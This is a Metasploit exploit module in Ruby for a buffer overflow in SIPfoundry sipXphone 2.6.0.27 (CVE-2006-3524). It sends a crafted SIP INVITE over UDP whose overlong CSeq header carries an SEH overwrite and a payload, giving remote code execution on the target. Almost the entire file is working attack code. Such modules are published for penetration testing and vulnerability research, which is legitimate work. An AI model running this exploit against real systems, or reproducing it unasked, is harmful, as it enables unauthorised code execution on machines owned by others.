##
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
  Rank = GreatRanking

  include Msf::Exploit::Remote::Udp
  include Msf::Exploit::Remote::Seh

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'SIPfoundry sipXphone 2.6.0.27 CSeq Buffer Overflow',
      'Description'    => %q{
          This module exploits a buffer overflow in SIPfoundry's
        sipXphone 2.6.0.27. By sending an overly long CSeq value,
        a remote attacker could overflow a buffer and execute
        arbitrary code on the system with the privileges of
        the affected application.
      },
      'Author'         => 'MC',
      'References'     =>
        [
          [ 'CVE', '2006-3524' ],
          [ 'OSVDB', '27122' ],
          [ 'BID', '18906' ],
        ],
      'DefaultOptions' =>
        {
          'EXITFUNC' => 'process',
        },
      'Payload'        =>
        {
          'Space'    => 400,
          'BadChars' => "\x00\x0a\x20\x09\x0d",
          'StackAdjustment' => -3500,
        },
      'Platform'       => 'win',
      'Targets'        =>
        [
          [ 'SIPfoundry sipXphone 2.6.0.27 Universal', { 'Ret' => 0x08016aac } ],
        ],
      'Privileged'     => false,
      'DisclosureDate' => 'Jul 10 2006',
      'DefaultTarget'  => 0))

    register_options(
      [
        Opt::RPORT(5060)
      ], self.class)
  end

  def exploit
    connect_udp

    user   = rand_text_english(2, payload_badchars)
    port   = rand(65535).to_s
    filler = rand_text_english(212, payload_badchars)
    seh    = generate_seh_payload(target.ret)
    filler[204, seh.length] = seh

    sploit  =   "INVITE sip:#{user}\@127.0.0.1 SIP/2.0" + "\r\n"
    sploit  <<  "To: <sip:#{rhost}:#{rport}>" + "\r\n"
    sploit  <<  "Via: SIP/2.0/UDP #{rhost}:#{port}" + "\r\n"
    sploit  <<  "From: \"#{user}\"<sip:#{rhost}:#{port}>" + "\r\n"
    sploit  <<  "Call-ID: #{(rand(100)+100)}#{rhost}" + "\r\n"
    sploit  <<  "CSeq: " + filler + "\r\n"
    sploit  <<  "Max-Forwards: 20" +  "\r\n"
    sploit  <<  "Contact: <sip:127.0.0.1:#{port}>" + "\r\n\r\n"

    print_status("Trying target #{target.name}...")

    udp_sock.put(sploit)

    handler
    disconnect_udp

  end

end